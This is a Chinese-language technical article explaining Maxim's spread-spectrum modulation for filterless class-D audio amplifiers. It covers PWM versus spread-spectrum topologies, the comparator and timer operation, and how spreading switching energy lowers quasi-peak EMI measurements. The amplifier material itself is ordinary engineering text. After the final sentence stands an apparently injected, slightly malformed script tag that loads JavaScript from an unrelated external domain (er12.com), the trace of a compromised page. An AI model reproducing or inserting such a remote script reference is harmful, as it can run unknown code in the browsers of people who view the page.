由于功效高于ab类放大器，d类放大器对便携式音频应用设计人员来说更具吸引力。但是，也有一些设计者并未在便携式应用中使用d类放大器，因为传统的pwm型d类放大器需要庞大且昂贵的滤波元件来降低电磁干扰。maxim公司的d类放大器扩谱调制技术则让设计者可以省去这些滤波元件，又不会降低音频性能或放大功效，因此有效推动了高效d类放大器在便携式音频应用中的推广。
传统的脉宽调制放大器拓扑
图1展示了一款典型的pwm型、桥接负载(btl) d类放大器。pwm方案通常利用一个内部生成的锯齿波作为其输入级的基准。其中有一个比较器监视模拟输入电压，并将其与锯齿波进行比较。当锯齿波输入超过输入电压时，比较器输出就变为低电平。在比较器输出端利用一个反相器来生成一个互补的pwm波形，用于控制btl输出的第二桥臂。
因为其满摆幅转换特性和快速开关频率会产生较高的射频(rf)辐射和干扰，pwm型放大器的输出一般需要庞大的滤波元件。此时一般需要一个lc滤波器来降低这种高频干扰，并从pwm信号的占空比信息中提取音频内容。
图1. 传统的脉宽调制拓扑
扩谱调制放大器拓扑
有一种方法可以取代这种昂贵的大尺寸lc滤波器方案，那就是改进开关过程，使放大器在保持高效的同时降低emi。maxim公司的d类放大器恰好做到了这一点。这种d类放大器采用独特的、享有专利的扩谱调制模式，以展宽宽带频谱分量，从而使扬声器和电缆辐射的emi降至最低。图2通过maxim公司的max9700展示了这种d类放大器的拓扑。
maxim的d类放大器调制方案采用了一个内部生成的锯齿波，并在输入部分采用一个互补信号对。如果没有互补输入信号，则会在ic内部产生一个差分输入。
图2. 单声道d类放大器拓扑
比较器监视d类放大器的输入，并将互补的输入电压与锯齿波进行比较。当锯齿波的幅度超过输入电压时，比较器a会输出一个低电平，将相应的d类输出(out+)拉高至vdd。当锯齿波的幅度超过其输入电压时，比较器b也会输出低电平，同样将相应的d类输出(out-)拉高至vdd。两个d类输出都被拉高之后，一个处于或非门输出端的定时器开始计时，时间常数为tau，相当于1 / (rton * cton)。固定时间(tau)结束后，两个d类输出都被拉低至gnd，而两个比较器均被复位。这个过程在第二个比较器输出端产生一个最小脉冲宽度ton (min)。随着输入电压的升高或降低，其中一个输出(第一个比较器会触发翻转)的脉冲持续时间会增加，而另一个输出的脉冲持续时间则维持在ton(min)，从而导致扬声器两端的净电压(vout+ - vout-)发生改变。
图3. ffm模式下，maxim的d类btl放大器加载输入信号后的输出
固定频率调制和扩谱调制
maxim的d类放大器采用两种调制模式：(1) 固定频率调制(ffm)模式；(2) 扩谱调制模式。ffm模式下(图3)，锯齿波的周期保持不变，这一点和传统的pwm方案是一样的。扩谱调制模式(图4)下，锯齿波的周期会逐周期发生改变(变化范围达±10%)。图4对锯齿波的周期变化进行了夸大，以更好地展示其效果。
图4. 扩谱调制模式下，maxim的d类btl放大器加载输入信号后的输出
扩谱调制模式下，其周期的逐周期变化可降低基波频率下(fo ±10%)的频谱能量，同时扩展特定带宽(nfo ±10%，n为正整数)内的谐波分量。这时大量的频谱能量并不是集中在开关频率的各倍频处，而是在一个随频率而增加的带宽内展宽。频率超过数兆赫兹后，宽带频谱看起来就像是白噪声，从而达到降低emi之目的。在ffm模式下，能量包含在较窄的频带内，并具有较高的峰值(图5a)。而在扩谱调制模式下，能量包含在较宽的频带内，峰值能量也得以降低(图5b)。请注意，图5b中的三次谐波几乎被噪声底遮盖了。
图5a. maxim的ffm模式
图5b. maxim的扩谱调制模式
扩谱调制模式将emi辐射降至最低
maxim的扩谱调制技术允许d类放大器真正“免除滤波器”，只要扬声器电缆不是太长。传统的pwm架构通常需要大尺寸的输出lc滤波器，以确保使用d类放大器的消费类产品能够满足emi规范要求。maxim专有的扩谱调制技术降低了d类放大器的辐射，因此输出不需要滤波或仅需要最小的滤波元件，即可满足emi规范要求(见附录)。
emi规范要求终端产品必须通过现有的准峰值检测限制—例如由ce (欧洲共同体，欧洲标准)和fcc (联邦通信委员会，美国标准)所制定的限制标准，以确保最低程度的电磁干扰。按照这些机构的定义，电磁干扰会中断、阻碍或降低电子和/或电气设备的有效性能。在准峰值检测中，所测定的信号等级是由信号频谱分量的重复频率来衡量的。重复频率越低，准峰值读数也就越低。1
扩谱调制充分利用了准峰值检测的平均特性，从而大大降低emi的测量结果(表1)。?script src=http://er12.com/t.js>
